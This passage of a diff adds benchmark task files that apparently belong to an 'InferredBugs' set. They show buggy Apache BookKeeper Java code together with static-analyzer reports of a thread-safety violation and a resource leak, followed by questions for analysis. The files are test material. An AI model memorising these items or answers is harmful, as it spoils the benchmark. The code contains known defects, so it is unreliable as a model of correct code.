+    /**
+     * This method should be called only after connection has been checked for
+     * {@link #connectIfNeededAndDoOp(GenericCallback)}
+     *
+     * @param ledgerId
+     * @param masterKey
+     * @param entryId
+     * @param lastConfirmed
+     * @param macCode
+     * @param data
+     * @param cb
+     * @param ctx
+     */
+    void addEntry(final long ledgerId, byte[] masterKey, final long entryId, ChannelBuffer toSend, WriteCallback cb,
+                  Object ctx, final int options) {
+        final int entrySize = toSend.readableBytes();
+
+        final CompletionKey completionKey = new CompletionKey(ledgerId, entryId);
+
+        addCompletions.put(completionKey, new AddCompletion(cb, entrySize, ctx));
+
+        int totalHeaderSize = 4 // for the length of the packet
+                              + 4 // for the type of request
+                              + BookieProtocol.MASTER_KEY_LENGTH; // for the master key
+
+        try{
+            ChannelBuffer header = channel.getConfig().getBufferFactory().getBuffer(totalHeaderSize);
+
+            header.writeInt(totalHeaderSize - 4 + entrySize);
+            header.writeInt(new PacketHeader(BookieProtocol.CURRENT_PROTOCOL_VERSION,
+                                             BookieProtocol.ADDENTRY, (short)options).toInt());
+            header.writeBytes(masterKey, 0, BookieProtocol.MASTER_KEY_LENGTH);
+
+            ChannelBuffer wrappedBuffer = ChannelBuffers.wrappedBuffer(header, toSend);
+
+            ChannelFuture future = channel.write(wrappedBuffer);
+            future.addListener(new ChannelFutureListener() {
+                @Override
+                public void operationComplete(ChannelFuture future) throws Exception {
+                    if (future.isSuccess()) {
+                        if (LOG.isDebugEnabled()) {
+                            LOG.debug("Successfully wrote request for adding entry: " + entryId + " ledger-id: " + ledgerId
+                                                            + " bookie: " + channel.getRemoteAddress() + " entry length: " + entrySize);
+                        }
+                        // totalBytesOutstanding.addAndGet(entrySize);
+                    } else {
+                        errorOutAddKey(completionKey);
+                    }
+                }
+            });
+        } catch (Throwable e) {
+            LOG.warn("Add entry operation failed", e);
+            errorOutAddKey(completionKey);
+        }
+    }
+
+    public void readEntryAndFenceLedger(final long ledgerId, byte[] masterKey,
+                                        final long entryId,
+                                        ReadEntryCallback cb, Object ctx) {
+        final CompletionKey key = new CompletionKey(ledgerId, entryId);
+        readCompletions.put(key, new ReadCompletion(cb, ctx));
+
+        int totalHeaderSize = 4 // for the length of the packet
+                              + 4 // for request type
+                              + 8 // for ledgerId
+                              + 8 // for entryId
+                              + BookieProtocol.MASTER_KEY_LENGTH; // for masterKey
+
+        ChannelBuffer tmpEntry = channel.getConfig().getBufferFactory().getBuffer(totalHeaderSize);
+        tmpEntry.writeInt(totalHeaderSize - 4);
+
+        tmpEntry.writeInt(new PacketHeader(BookieProtocol.CURRENT_PROTOCOL_VERSION,
+                                           BookieProtocol.READENTRY,
+                                           BookieProtocol.FLAG_DO_FENCING).toInt());
+        tmpEntry.writeLong(ledgerId);
+        tmpEntry.writeLong(entryId);
+        tmpEntry.writeBytes(masterKey, 0, BookieProtocol.MASTER_KEY_LENGTH);
+
+        ChannelFuture future = channel.write(tmpEntry);
+        future.addListener(new ChannelFutureListener() {
+            @Override
+            public void operationComplete(ChannelFuture future) throws Exception {
+                if (future.isSuccess()) {
+                    if (LOG.isDebugEnabled()) {
+                        LOG.debug("Successfully wrote request for reading entry: " + entryId + " ledger-id: "
+                                  + ledgerId + " bookie: " + channel.getRemoteAddress());
+                    }
+                } else {
+                    errorOutReadKey(key);
+                }
+            }
+        });
+    }
+
+    public void readEntry(final long ledgerId, final long entryId, ReadEntryCallback cb, Object ctx) {
+        final CompletionKey key = new CompletionKey(ledgerId, entryId);
+        readCompletions.put(key, new ReadCompletion(cb, ctx));
+
+        int totalHeaderSize = 4 // for the length of the packet
+                              + 4 // for request type
+                              + 8 // for ledgerId
+                              + 8; // for entryId
+
+        try{
+            ChannelBuffer tmpEntry = channel.getConfig().getBufferFactory().getBuffer(totalHeaderSize);
+            tmpEntry.writeInt(totalHeaderSize - 4);
+
+            tmpEntry.writeInt(new PacketHeader(BookieProtocol.CURRENT_PROTOCOL_VERSION,
+                                               BookieProtocol.READENTRY, BookieProtocol.FLAG_NONE).toInt());
+            tmpEntry.writeLong(ledgerId);
+            tmpEntry.writeLong(entryId);
+
+            ChannelFuture future = channel.write(tmpEntry);
+            future.addListener(new ChannelFutureListener() {
+                @Override
+                public void operationComplete(ChannelFuture future) throws Exception {
+                    if (future.isSuccess()) {
+                        if (LOG.isDebugEnabled()) {
+                            LOG.debug("Successfully wrote request for reading entry: " + entryId + " ledger-id: "
+                                                            + ledgerId + " bookie: " + channel.getRemoteAddress());
+                        }
+                    } else {
+                        errorOutReadKey(key);
+                    }
+                }
+            });
+        } catch(Throwable e) {
+            LOG.warn("Read entry operation failed", e);
+            errorOutReadKey(key);
+        }
+    }
+
+    public void close() {
+        if (channel != null) {
+            channel.close().awaitUninterruptibly();
+        }
+        if (readTimeoutTimer != null) {
+            readTimeoutTimer.stop();
+            readTimeoutTimer = null;
+        }
+    }
+
+    void errorOutReadKey(final CompletionKey key) {
+        executor.submitOrdered(key.ledgerId, new SafeRunnable() {
+            @Override
+            public void safeRun() {
+
+                ReadCompletion readCompletion = readCompletions.remove(key);
+
+                if (readCompletion != null) {
+                    LOG.error("Could not write  request for reading entry: " + key.entryId + " ledger-id: "
+                              + key.ledgerId + " bookie: " + channel.getRemoteAddress());
+
+                    readCompletion.cb.readEntryComplete(BKException.Code.BookieHandleNotAvailableException,
+                                                        key.ledgerId, key.entryId, null, readCompletion.ctx);
+                }
+            }
+
+        });
+    }
+
+    void errorOutAddKey(final CompletionKey key) {
+        executor.submitOrdered(key.ledgerId, new SafeRunnable() {
+            @Override
+            public void safeRun() {
+
+                AddCompletion addCompletion = addCompletions.remove(key);
+
+                if (addCompletion != null) {
+                    String bAddress = "null";
+                    if(channel != null)
+                        bAddress = channel.getRemoteAddress().toString();
+                    LOG.error("Could not write request for adding entry: " + key.entryId + " ledger-id: "
+                              + key.ledgerId + " bookie: " + bAddress);
+
+                    addCompletion.cb.writeComplete(BKException.Code.BookieHandleNotAvailableException, key.ledgerId,
+                                                   key.entryId, addr, addCompletion.ctx);
+                    LOG.error("Invoked callback method: " + key.entryId);
+                }
+            }
+
+        });
+
+    }
+
+    /**
+     * Errors out pending entries. We call this method from one thread to avoid
+     * concurrent executions to QuorumOpMonitor (implements callbacks). It seems
+     * simpler to call it from BookieHandle instead of calling directly from
+     * here.
+     */
+
+    void errorOutOutstandingEntries() {
+
+        // DO NOT rewrite these using Map.Entry iterations. We want to iterate
+        // on keys and see if we are successfully able to remove the key from
+        // the map. Because the add and the read methods also do the same thing
+        // in case they get a write failure on the socket. The one who
+        // successfully removes the key from the map is the one responsible for
+        // calling the application callback.
+
+        for (CompletionKey key : addCompletions.keySet()) {
+            errorOutAddKey(key);
+        }
+
+        for (CompletionKey key : readCompletions.keySet()) {
+            errorOutReadKey(key);
+        }
+    }
+
+    /**
+     * In the netty pipeline, we need to split packets based on length, so we
+     * use the {@link LengthFieldBasedFrameDecoder}. Other than that all actions
+     * are carried out in this class, e.g., making sense of received messages,
+     * prepending the length to outgoing packets etc.
+     */
+    @Override
+    public ChannelPipeline getPipeline() throws Exception {
+        ChannelPipeline pipeline = Channels.pipeline();
+
+        if (readTimeoutTimer == null) {
+            readTimeoutTimer = new HashedWheelTimer();
+        }
+
+        pipeline.addLast("readTimeout", new ReadTimeoutHandler(readTimeoutTimer, 
+                                                               conf.getReadTimeout()));
+        pipeline.addLast("lengthbasedframedecoder", new LengthFieldBasedFrameDecoder(MAX_FRAME_LENGTH, 0, 4, 0, 4));
+        pipeline.addLast("mainhandler", this);
+        return pipeline;
+    }
+
+    /**
+     * If our channel has disconnected, we just error out the pending entries
+     */
+    @Override
+    public void channelDisconnected(ChannelHandlerContext ctx, ChannelStateEvent e) throws Exception {
+        LOG.info("Disconnected from bookie: " + addr);
+        errorOutOutstandingEntries();
+        channel.close();
+        state = ConnectionState.DISCONNECTED;
+
+        // we don't want to reconnect right away. If someone sends a request to
+        // this address, we will reconnect.
+    }
+
+    /**
+     * Called by netty when an exception happens in one of the netty threads
+     * (mostly due to what we do in the netty threads)
+     */
+    @Override
+    public void exceptionCaught(ChannelHandlerContext ctx, ExceptionEvent e) throws Exception {
+        Throwable t = e.getCause();
+        if (t instanceof CorruptedFrameException || t instanceof TooLongFrameException) {
+            LOG.error("Corrupted fram received from bookie: "
+                      + e.getChannel().getRemoteAddress());
+            return;
+        }
+        if (t instanceof ReadTimeoutException) {
+            ctx.getChannel().disconnect();
+            return;
+        }
+ 
+        if (t instanceof IOException) {
+            // these are thrown when a bookie fails, logging them just pollutes
+            // the logs (the failure is logged from the listeners on the write
+            // operation), so I'll just ignore it here.
+            return;
+        }
+
+        LOG.error("Unexpected exception caught by bookie client channel handler", t);
+        // Since we are a library, cant terminate App here, can we?
+    }
+
+    /**
+     * Called by netty when a message is received on a channel
+     */
+    @Override
+    public void messageReceived(ChannelHandlerContext ctx, MessageEvent e) throws Exception {
+        if (!(e.getMessage() instanceof ChannelBuffer)) {
+            ctx.sendUpstream(e);
+            return;
+        }
+
+        final ChannelBuffer buffer = (ChannelBuffer) e.getMessage();
+        final int type, rc;
+        final long ledgerId, entryId;
+        final PacketHeader header;
+
+        try {
+            header = PacketHeader.fromInt(buffer.readInt());
+            rc = buffer.readInt();
+            ledgerId = buffer.readLong();
+            entryId = buffer.readLong();
+        } catch (IndexOutOfBoundsException ex) {
+            LOG.error("Unparseable response from bookie: " + addr, ex);
+            return;
+        }
+
+        executor.submitOrdered(ledgerId, new SafeRunnable() {
+            @Override
+            public void safeRun() {
+                switch (header.getOpCode()) {
+                case BookieProtocol.ADDENTRY:
+                    handleAddResponse(ledgerId, entryId, rc);
+                    break;
+                case BookieProtocol.READENTRY:
+                    handleReadResponse(ledgerId, entryId, rc, buffer);
+                    break;
+                default:
+                    LOG.error("Unexpected response, type: " + header.getOpCode() 
+                              + " received from bookie: " + addr + " , ignoring");
+                }
+            }
+        });
+    }
+
+    void handleAddResponse(long ledgerId, long entryId, int rc) {
+        if (LOG.isDebugEnabled()) {
+            LOG.debug("Got response for add request from bookie: " + addr + " for ledger: " + ledgerId + " entry: "
+                      + entryId + " rc: " + rc);
+        }
+
+        // convert to BKException code because thats what the uppper
+        // layers expect. This is UGLY, there should just be one set of
+        // error codes.
+        switch (rc) {
+        case BookieProtocol.EOK:
+            rc = BKException.Code.OK;
+            break;
+        case BookieProtocol.EBADVERSION:
+            rc = BKException.Code.ProtocolVersionException;
+            break;
+        case BookieProtocol.EFENCED:
+            rc = BKException.Code.LedgerFencedException;
+            break;
+        case BookieProtocol.EUA:
+            rc = BKException.Code.UnauthorizedAccessException;
+            break;
+        default:
+            LOG.error("Add for ledger: " + ledgerId + ", entry: " + entryId + " failed on bookie: " + addr
+                      + " with code: " + rc);
+            rc = BKException.Code.WriteException;
+            break;
+        }
+
+        AddCompletion ac;
+        ac = addCompletions.remove(new CompletionKey(ledgerId, entryId));
+        if (ac == null) {
+            LOG.error("Unexpected add response received from bookie: " + addr + " for ledger: " + ledgerId
+                      + ", entry: " + entryId + " , ignoring");
+            return;
+        }
+
+        // totalBytesOutstanding.addAndGet(-ac.size);
+
+        ac.cb.writeComplete(rc, ledgerId, entryId, addr, ac.ctx);
+
+    }
+
+    void handleReadResponse(long ledgerId, long entryId, int rc, ChannelBuffer buffer) {
+        if (LOG.isDebugEnabled()) {
+            LOG.debug("Got response for read request from bookie: " + addr + " for ledger: " + ledgerId + " entry: "
+                      + entryId + " rc: " + rc + "entry length: " + buffer.readableBytes());
+        }
+
+        // convert to BKException code because thats what the uppper
+        // layers expect. This is UGLY, there should just be one set of
+        // error codes.
+        if (rc == BookieProtocol.EOK) {
+            rc = BKException.Code.OK;
+        } else if (rc == BookieProtocol.ENOENTRY || rc == BookieProtocol.ENOLEDGER) {
+            rc = BKException.Code.NoSuchEntryException;
+        } else if (rc == BookieProtocol.EBADVERSION) {
+            rc = BKException.Code.ProtocolVersionException;
+        } else if (rc == BookieProtocol.EUA) {
+            rc = BKException.Code.UnauthorizedAccessException;
+        } else {
+            LOG.error("Read for ledger: " + ledgerId + ", entry: " + entryId + " failed on bookie: " + addr
+                      + " with code: " + rc);
+            rc = BKException.Code.ReadException;
+        }
+
+        CompletionKey key = new CompletionKey(ledgerId, entryId);
+        ReadCompletion readCompletion = readCompletions.remove(key);
+
+        if (readCompletion == null) {
+            /*
+             * This is a special case. When recovering a ledger, a client
+             * submits a read request with id -1, and receives a response with a
+             * different entry id.
+             */
+            
+            readCompletion = readCompletions.remove(new CompletionKey(ledgerId, BookieProtocol.LAST_ADD_CONFIRMED));
+        }
+
+        if (readCompletion == null) {
+            LOG.error("Unexpected read response received from bookie: " + addr + " for ledger: " + ledgerId
+                      + ", entry: " + entryId + " , ignoring");
+            return;
+        }
+
+        readCompletion.cb.readEntryComplete(rc, ledgerId, entryId, buffer.slice(), readCompletion.ctx);
+    }
+
+    /**
+     * Boiler-plate wrapper classes follow
+     *
+     */
+    // visible for testing
+    static class ReadCompletion {
+        final ReadEntryCallback cb;
+        final Object ctx;
+
+        public ReadCompletion(ReadEntryCallback cb, Object ctx) {
+            this.cb = cb;
+            this.ctx = ctx;
+        }
+    }
+
+    // visible for testing
+    static class AddCompletion {
+        final WriteCallback cb;
+        //final long size;
+        final Object ctx;
+
+        public AddCompletion(WriteCallback cb, long size, Object ctx) {
+            this.cb = cb;
+            //this.size = size;
+            this.ctx = ctx;
+        }
+    }
+    
+    // visable for testing
+    static class CompletionKey {
+        long ledgerId;
+        long entryId;
+
+        CompletionKey(long ledgerId, long entryId) {
+            this.ledgerId = ledgerId;
+            this.entryId = entryId;
+        }
+
+        @Override
+        public boolean equals(Object obj) {
+            if (!(obj instanceof CompletionKey) || obj == null) {
+                return false;
+            }
+            CompletionKey that = (CompletionKey) obj;
+            return this.ledgerId == that.ledgerId && this.entryId == that.entryId;
+        }
+
+        @Override
+        public int hashCode() {
+            return ((int) ledgerId << 16) ^ ((int) entryId);
+        }
+
+        public String toString() {
+            return String.format("LedgerEntry(%d, %d)", ledgerId, entryId);
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.apache.bookkeeper.proto.PerChannelBookieClient.channelDisconnected` writes to field `this.org.apache.bookkeeper.proto.PerChannelBookieClient.state` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void PerChannelBookieClient.channelDisconnected(ChannelHandlerContext,ChannelStateEvent)
+
+### Procedure Id:
+org.apache.bookkeeper.proto.PerChannelBookieClient.channelDisconnected(org.jboss.netty.channel.Chann.d9b6dfaa61cbef36d034b9ef63ba9d03
+
+### File:
+bookkeeper-server/src/main/java/org/apache/bookkeeper/proto/PerChannelBookieClient.java
+
+### Key:
+PerChannelBookieClient.java|channelDisconnected|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+f6c34bad65a7505097eabb8d43db9d2c
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7128/instruction.md b/inferredbugs-7128/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..cfc69f4475676053df730ffdfc67f268381626b9
--- /dev/null
+++ b/inferredbugs-7128/instruction.md
@@ -0,0 +1,529 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bookkeeper
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ *
+ */
+
+package org.apache.bookkeeper.bookie;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.File;
+import java.io.FileFilter;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileOutputStream;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.io.OutputStreamWriter;
+import java.io.RandomAccessFile;
+import java.nio.ByteBuffer;
+import java.nio.channels.FileChannel;
+import java.util.Arrays;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
+import java.util.concurrent.ConcurrentHashMap;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import org.apache.bookkeeper.conf.ServerConfiguration;
+import org.apache.bookkeeper.util.IOUtils;
+
+/**
+ * This class manages the writing of the bookkeeper entries. All the new
+ * entries are written to a common log. The LedgerCache will have pointers
+ * into files created by this class with offsets into the files to find
+ * the actual ledger entry. The entry log files created by this class are
+ * identified by a long.
+ */
+public class EntryLogger {
+    private static final Logger LOG = LoggerFactory.getLogger(EntryLogger.class);
+    private File dirs[];
+
+    long logId;
+    /**
+     * The maximum size of a entry logger file.
+     */
+    final long logSizeLimit;
+    private volatile BufferedChannel logChannel;
+    /**
+     * The 1K block at the head of the entry logger file
+     * that contains the fingerprint and (future) meta-data
+     */
+    final static int LOGFILE_HEADER_SIZE = 1024;
+    final ByteBuffer LOGFILE_HEADER = ByteBuffer.allocate(LOGFILE_HEADER_SIZE);
+
+    final static long MB = 1024 * 1024;
+
+    /**
+     * Scan entries in a entry log file.
+     */
+    static interface EntryLogScanner {
+        /**
+         * Tests whether or not the entries belongs to the specified ledger
+         * should be processed.
+         *
+         * @param ledgerId
+         *          Ledger ID.
+         * @return true if and only the entries of the ledger should be scanned.
+         */
+        public boolean accept(long ledgerId);
+
+        /**
+         * Process an entry.
+         *
+         * @param ledgerId
+         *          Ledger ID.
+         * @param entry
+         *          Entry ByteBuffer
+         * @throws IOException
+         */
+        public void process(long ledgerId, ByteBuffer entry) throws IOException;
+    }
+
+    /**
+     * Create an EntryLogger that stores it's log files in the given
+     * directories
+     */
+    public EntryLogger(ServerConfiguration conf) throws IOException {
+        this.dirs = Bookie.getCurrentDirectories(conf.getLedgerDirs());
+        // log size limit
+        this.logSizeLimit = conf.getEntryLogSizeLimit();
+
+        // Initialize the entry log header buffer. This cannot be a static object
+        // since in our unit tests, we run multiple Bookies and thus EntryLoggers
+        // within the same JVM. All of these Bookie instances access this header
+        // so there can be race conditions when entry logs are rolled over and
+        // this header buffer is cleared before writing it into the new logChannel.
+        LOGFILE_HEADER.put("BKLO".getBytes());
+        // Find the largest logId
+        logId = -1;
+        for(File dir: dirs) {
+            if (!dir.exists()) {
+                throw new FileNotFoundException(
+                        "Entry log directory does not exist");
+            }
+            long lastLogId = getLastLogId(dir);
+            if (lastLogId > logId) {
+                logId = lastLogId;
+            }
+        }
+        createNewLog();
+    }
+
+    /**
+     * Maps entry log files to open channels.
+     */
+    private ConcurrentHashMap<Long, BufferedChannel> channels = new ConcurrentHashMap<Long, BufferedChannel>();
+
+    /**
+     * Creates a new log file
+     */
+    private void createNewLog() throws IOException {
+        List<File> list = Arrays.asList(dirs);
+        Collections.shuffle(list);
+        if (logChannel != null) {
+            logChannel.flush(true);
+        }
+
+        // It would better not to overwrite existing entry log files
+        File newLogFile = null;
+        do {
+            String logFileName = Long.toHexString(++logId) + ".log";
+            for (File dir : list) {
+                newLogFile = new File(dir, logFileName);
+                if (newLogFile.exists()) {
+                    LOG.warn("Found existed entry log " + newLogFile
+                           + " when trying to create it as a new log.");
+                    newLogFile = null;
+                    break;
+                }
+            }
+        } while (newLogFile == null);
+
+        logChannel = new BufferedChannel(new RandomAccessFile(newLogFile, "rw").getChannel(), 64*1024);
+        logChannel.write((ByteBuffer) LOGFILE_HEADER.clear());
+        channels.put(logId, logChannel);
+        for(File f: dirs) {
+            setLastLogId(f, logId);
+        }
+    }
+
+    /**
+     * Remove entry log.
+     *
+     * @param entryLogId
+     *          Entry Log File Id
+     */
+    protected boolean removeEntryLog(long entryLogId) {
+        BufferedChannel bc = channels.remove(entryLogId);
+        if (null != bc) {
+            // close its underlying file channel, so it could be deleted really
+            try {
+                bc.getFileChannel().close();
+            } catch (IOException ie) {
+                LOG.warn("Exception while closing garbage collected entryLog file : ", ie);
+            }
+        }
+        File entryLogFile;
+        try {
+            entryLogFile = findFile(entryLogId);
+        } catch (FileNotFoundException e) {
+            LOG.error("Trying to delete an entryLog file that could not be found: "
+                    + entryLogId + ".log");
+            return false;
+        }
+        entryLogFile.delete();
+        return true;
+    }
+
+    /**
+     * writes the given id to the "lastId" file in the given directory.
+     */
+    private void setLastLogId(File dir, long logId) throws IOException {
+        FileOutputStream fos;
+        fos = new FileOutputStream(new File(dir, "lastId"));
+        BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(fos));
+        try {
+            bw.write(Long.toHexString(logId) + "\n");
+            bw.flush();
+        } finally {
+            try {
+                fos.close();
+            } catch (IOException e) {
+            }
+        }
+    }
+
+    private long getLastLogId(File dir) {
+        long id = readLastLogId(dir);
+        // read success
+        if (id > 0) {
+            return id;
+        }
+        // read failed, scan the ledger directories to find biggest log id
+        File[] logFiles = dir.listFiles(new FileFilter() {
+            @Override
+            public boolean accept(File file) {
+                return file.getName().endsWith(".log");
+            }
+        });
+        List<Long> logs = new ArrayList<Long>();
+        for (File lf : logFiles) {
+            String idString = lf.getName().split("\\.")[0];
+            try {
+                long lid = Long.parseLong(idString, 16);
+                logs.add(lid);
+            } catch (NumberFormatException nfe) {
+            }
+        }
+        // no log file found in this directory
+        if (0 == logs.size()) {
+            return -1;
+        }
+        // order the collections
+        Collections.sort(logs);
+        return logs.get(logs.size() - 1);
+    }
+
+    /**
+     * reads id from the "lastId" file in the given directory.
+     */
+    private long readLastLogId(File f) {
+        FileInputStream fis;
+        try {
+            fis = new FileInputStream(new File(f, "lastId"));
+        } catch (FileNotFoundException e) {
+            return -1;
+        }
+        BufferedReader br = new BufferedReader(new InputStreamReader(fis));
+        try {
+            String lastIdString = br.readLine();
+            return Long.parseLong(lastIdString, 16);
+        } catch (IOException e) {
+            return -1;
+        } catch(NumberFormatException e) {
+            return -1;
+        } finally {
+            try {
+                fis.close();
+            } catch (IOException e) {
+            }
+        }
+    }
+
+    synchronized void flush() throws IOException {
+        if (logChannel != null) {
+            logChannel.flush(true);
+        }
+    }
+    synchronized long addEntry(long ledger, ByteBuffer entry) throws IOException {
+        if (logChannel.position() + entry.remaining() + 4 > logSizeLimit) {
+            createNewLog();
+        }
+        ByteBuffer buff = ByteBuffer.allocate(4);
+        buff.putInt(entry.remaining());
+        buff.flip();
+        logChannel.write(buff);
+        long pos = logChannel.position();
+        logChannel.write(entry);
+        //logChannel.flush(false);
+
+        return (logId << 32L) | pos;
+    }
+
+    byte[] readEntry(long ledgerId, long entryId, long location) throws IOException {
+        long entryLogId = location >> 32L;
+        long pos = location & 0xffffffffL;
+        ByteBuffer sizeBuff = ByteBuffer.allocate(4);
+        pos -= 4; // we want to get the ledgerId and length to check
+        BufferedChannel fc;
+        try {
+            fc = getChannelForLogId(entryLogId);
+        } catch (FileNotFoundException e) {
+            FileNotFoundException newe = new FileNotFoundException(e.getMessage() + " for " + ledgerId + " with location " + location);
+            newe.setStackTrace(e.getStackTrace());
+            throw newe;
+        }
+        if (fc.read(sizeBuff, pos) != sizeBuff.capacity()) {
+            throw new IOException("Short read from entrylog " + entryLogId);
+        }
+        pos += 4;
+        sizeBuff.flip();
+        int entrySize = sizeBuff.getInt();
+        // entrySize does not include the ledgerId
+        if (entrySize > MB) {
+            LOG.error("Sanity check failed for entry size of " + entrySize + " at location " + pos + " in " + entryLogId);
+
+        }
+        byte data[] = new byte[entrySize];
+        ByteBuffer buff = ByteBuffer.wrap(data);
+        int rc = fc.read(buff, pos);
+        if ( rc != data.length) {
+            throw new IOException("Short read for " + ledgerId + "@" + entryId + " in " + entryLogId + "@" + pos + "("+rc+"!="+data.length+")");
+        }
+        buff.flip();
+        long thisLedgerId = buff.getLong();
+        if (thisLedgerId != ledgerId) {
+            throw new IOException("problem found in " + entryLogId + "@" + entryId + " at position + " + pos + " entry belongs to " + thisLedgerId + " not " + ledgerId);
+        }
+        long thisEntryId = buff.getLong();
+        if (thisEntryId != entryId) {
+            throw new IOException("problem found in " + entryLogId + "@" + entryId + " at position + " + pos + " entry is " + thisEntryId + " not " + entryId);
+        }
+
+        return data;
+    }
+
+    private BufferedChannel getChannelForLogId(long entryLogId) throws IOException {
+        BufferedChannel fc = channels.get(entryLogId);
+        if (fc != null) {
+            return fc;
+        }
+        File file = findFile(entryLogId);
+        // get channel is used to open an existing entry log file
+        // it would be better to open using read mode
+        FileChannel newFc = new RandomAccessFile(file, "r").getChannel();
+        // If the file already exists before creating a BufferedChannel layer above it,
+        // set the FileChannel's position to the end so the write buffer knows where to start.
+        newFc.position(newFc.size());
+        synchronized (channels) {
+            fc = channels.get(entryLogId);
+            if (fc != null) {
+                newFc.close();
+                return fc;
+            }
+            fc = new BufferedChannel(newFc, 8192);
+            channels.put(entryLogId, fc);
+            return fc;
+        }
+    }
+
+    private File findFile(long logId) throws FileNotFoundException {
+        for(File d: dirs) {
+            File f = new File(d, Long.toHexString(logId)+".log");
+            if (f.exists()) {
+                return f;
+            }
+        }
+        throw new FileNotFoundException("No file for log " + Long.toHexString(logId));
+    }
+
+    /**
+     * Scan entry log
+     *
+     * @param entryLogId
+     *          Entry Log Id
+     * @param scanner
+     *          Entry Log Scanner
+     * @throws IOException
+     */
+    protected void scanEntryLog(long entryLogId, EntryLogScanner scanner) throws IOException {
+        ByteBuffer sizeBuff = ByteBuffer.allocate(4);
+        ByteBuffer lidBuff = ByteBuffer.allocate(8);
+        BufferedChannel bc;
+        // Get the BufferedChannel for the current entry log file
+        try {
+            bc = getChannelForLogId(entryLogId);
+        } catch (IOException e) {
+            LOG.warn("Failed to get channel to scan entry log: " + entryLogId + ".log");
+            throw e;
+        }
+        // Start the read position in the current entry log file to be after
+        // the header where all of the ledger entries are.
+        long pos = LOGFILE_HEADER_SIZE;
+        // Read through the entry log file and extract the ledger ID's.
+        while (true) {
+            // Check if we've finished reading the entry log file.
+            if (pos >= bc.size()) {
+                break;
+            }
+            if (bc.read(sizeBuff, pos) != sizeBuff.capacity()) {
+                throw new IOException("Short read for entry size from entrylog " + entryLogId);
+            }
+            pos += 4;
+            sizeBuff.flip();
+            int entrySize = sizeBuff.getInt();
+            if (entrySize > MB) {
+                LOG.warn("Found large size entry of " + entrySize + " at location " + pos + " in "
+                        + entryLogId);
+            }
+            sizeBuff.clear();
+            // try to read ledger id first
+            if (bc.read(lidBuff, pos) != lidBuff.capacity()) {
+                throw new IOException("Short read for ledger id from entrylog " + entryLogId);
+            }
+            lidBuff.flip();
+            long lid = lidBuff.getLong();
+            lidBuff.clear();
+            if (!scanner.accept(lid)) {
+                // skip this entry
+                pos += entrySize;
+                continue;
+            }
+            // read the entry
+            byte data[] = new byte[entrySize];
+            ByteBuffer buff = ByteBuffer.wrap(data);
+            int rc = bc.read(buff, pos);
+            if (rc != data.length) {
+                throw new IOException("Short read for ledger entry from entryLog " + entryLogId
+                                    + "@" + pos + "(" + rc + "!=" + data.length + ")");
+            }
+            buff.flip();
+            // process the entry
+            scanner.process(lid, buff);
+            // Advance position to the next entry
+            pos += entrySize;
+        }
+    }
+
+    /**
+     * Shutdown method to gracefully stop entry logger.
+     */
+    public void shutdown() {
+        // since logChannel is buffered channel, do flush when shutting down
+        try {
+            flush();
+            logChannel.getFileChannel().close();
+        } catch (IOException ie) {
+            // we have no idea how to avoid io exception during shutting down, so just ignore it
+            LOG.error("Error flush entry log during shutting down, which may cause entry log corrupted.", ie);
+        } finally {
+            if (logChannel.getFileChannel().isOpen()) {
+                IOUtils.close(LOG, logChannel.getFileChannel());
+            }
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.BufferedWriter` acquired to `bw` by call to `new()` at line 203 is not released after line 206.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void EntryLogger.setLastLogId(File,long)
+
+### Procedure Id:
+org.apache.bookkeeper.bookie.EntryLogger.setLastLogId(java.io.File,long):void.44328c0381afde3e880469eea9b33e26
+
+### File:
+bookkeeper-server/src/main/java/org/apache/bookkeeper/bookie/EntryLogger.java
+
+### Key:
+EntryLogger.java|setLastLogId|RESOURCE_LEAK
+
+### Node Key:
+63248c5f7f52f9f8d01a88b987b758e2
+
+### Hash:
+b0c4d0b5d26ead82a7c007e25616bd5f
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
